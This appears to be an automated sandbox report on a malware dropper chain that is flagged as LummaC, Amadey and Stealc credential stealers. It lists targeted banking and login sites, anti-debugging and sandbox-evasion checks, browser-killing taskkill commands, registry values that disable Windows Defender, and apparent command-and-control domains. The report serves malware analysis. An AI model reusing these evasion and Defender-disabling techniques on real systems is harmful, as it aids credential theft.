Source: skotes.exe, 00000010.00000002.2518838054.0000000000C69000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000002.2532658447.000000000141F000.00000004.00000020.00020000.00000000.sdmp, 4b41d9dd20.exe, 00000013.00000002.2314305841.0000000001936000.00000004.00000020.00020000.00000000.sdmp, 4b41d9dd20.exe, 00000013.00000002.2314305841.0000000001914000.00000004.00000020.00020000.00000000.sdmp, 4b41d9dd20.exe, 00000013.00000002.2314305841.0000000001944000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2556926628.000001F35BD27000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2556926628.000001F35BCE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2522552362.000001750F74A000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000025.00000002.2392488170.000000000069E000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000002.2532922901.0000000000BD4000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000002.2532922901.0000000000B5B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 00000022.00000002.2575904778.000001F3659BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2534418088.000001750FC16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: skotes.exe, 00000010.00000002.2518838054.0000000000C39000.00000004.00000020.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000002.2532658447.00000000013CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: firefox.exe, 00000027.00000002.2534362153.00000198B1210000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll<
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: 4b41d9dd20.exe, 00000029.00000002.2527180417.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: firefox.exe, 00000024.00000002.2536103502.000001750FD00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW}
Source: 4b41d9dd20.exe, 00000029.00000002.2527180417.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareI
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: skotes.exe, skotes.exe, 00000010.00000002.2526978599.000000000113C000.00000040.00000001.01000000.0000000C.sdmp, 6c1c4a36e1.exe, 00000012.00000002.2519265836.000000000049E000.00000040.00000001.01000000.0000000E.sdmp, 4b41d9dd20.exe, 00000013.00000002.2313098459.0000000000EA4000.00000040.00000001.01000000.0000000F.sdmp, 6c1c4a36e1.exe, 00000026.00000002.2519168348.000000000049E000.00000040.00000001.01000000.0000000E.sdmp, 4b41d9dd20.exe, 00000029.00000002.2515715995.0000000000EA4000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: num.exe, 00000025.00000002.2392488170.000000000069E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW3n-
Source: firefox.exe, 00000022.00000002.2556926628.000001F35BD30000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: firefox.exe, 00000024.00000002.2536103502.000001750FD03000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlli
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: num.exe, 00000025.00000002.2392488170.000000000063E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8j%SystemRoot%\system32\mswsock.dll
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.0000000005544000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: firefox.exe, 00000022.00000002.2556926628.000001F35BD30000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2534362153.00000198B1210000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: num.exe, 00000025.00000002.2392488170.000000000063E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwaresd
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: firefox.exe, 00000024.00000002.2536103502.000001750FD03000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllt
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: UOZM77Y2O77YBMEWY4B8DEDXRXA.exe, 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmp, SU4Z0W976Y8CJ3Z4HHN.exe, 0000000B.00000002.1634121067.0000000000CAC000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 0000000C.00000002.1674261420.000000000113C000.00000040.00000001.01000000.0000000C.sdmp, skotes.exe, 00000010.00000002.2526978599.000000000113C000.00000040.00000001.01000000.0000000C.sdmp, 6c1c4a36e1.exe, 00000012.00000002.2519265836.000000000049E000.00000040.00000001.01000000.0000000E.sdmp, 4b41d9dd20.exe, 00000013.00000002.2313098459.0000000000EA4000.00000040.00000001.01000000.0000000F.sdmp, 6c1c4a36e1.exe, 00000026.00000002.2519168348.000000000049E000.00000040.00000001.01000000.0000000E.sdmp, 4b41d9dd20.exe, 00000029.00000002.2515715995.0000000000EA4000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 6c1c4a36e1.exe, 00000026.00000003.2505413530.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe

Code function: 10_2_00D340A0 rdtsc

10_2_00D340A0

Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe

Code function: 10_2_00D491BA LdrInitializeThunk,

10_2_00D491BA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00F8652B mov eax, dword ptr fs:[00000030h]		16_2_00F8652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00F8A302 mov eax, dword ptr fs:[00000030h]		16_2_00F8A302

Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 4b41d9dd20.exe PID: 6728, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 1352, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4b41d9dd20.exe PID: 5320, type: MEMORYSTR

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.1296338451.00000000049F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.1296338451.00000000049F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.1296338451.00000000049F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.1296338451.00000000049F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.1296338451.00000000049F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.1296338451.00000000049F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.1296338451.00000000049F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.1296338451.00000000049F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe "C:\Users\user~1\AppData\Local\Temp\1003156001\6c1c4a36e1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe "C:\Users\user~1\AppData\Local\Temp\1003157001\4b41d9dd20.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe "C:\Users\user~1\AppData\Local\Temp\1003158001\9af14a3c40.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003159001\num.exe "C:\Users\user~1\AppData\Local\Temp\1003159001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: 9af14a3c40.exe, 00000014.00000002.2383277471.00000000004D2000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: UOZM77Y2O77YBMEWY4B8DEDXRXA.exe, 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: }yProgram Manager
Source: skotes.exe, skotes.exe, 00000010.00000002.2526978599.000000000113C000.00000040.00000001.01000000.0000000C.sdmp, 6c1c4a36e1.exe, 00000012.00000002.2523443930.00000000004E0000.00000040.00000001.01000000.0000000E.sdmp, 4b41d9dd20.exe, 00000013.00000002.2313098459.0000000000EA4000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Program Manager
Source: firefox.exe, 00000022.00000002.2527724701.00000027B35FB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 16_2_00F6D3E2 cpuid

16_2_00F6D3E2

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003159001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003159001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 16_2_00F6CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

16_2_00F6CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 16_2_00F565E0 LookupAccountNameA,

16_2_00F565E0

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, file.exe, 00000000.00000003.1404608070.00000000054D9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1404559642.0000000000D76000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 11.2.SU4Z0W976Y8CJ3Z4HHN.exe.ac0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.skotes.exe.f50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.skotes.exe.f50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1674157264.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2104275419.0000000004C60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2525480589.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1547185518.00000000052E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1633536068.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1633975224.0000000000AC1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 00000014.00000003.2379592196.00000000017FF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9af14a3c40.exe PID: 2140, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 5140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6c1c4a36e1.exe PID: 5640, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 37.2.num.exe.8d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.num.exe.8d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.4b41d9dd20.exe.a30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.4b41d9dd20.exe.a30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000003.2271033754.0000000005380000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
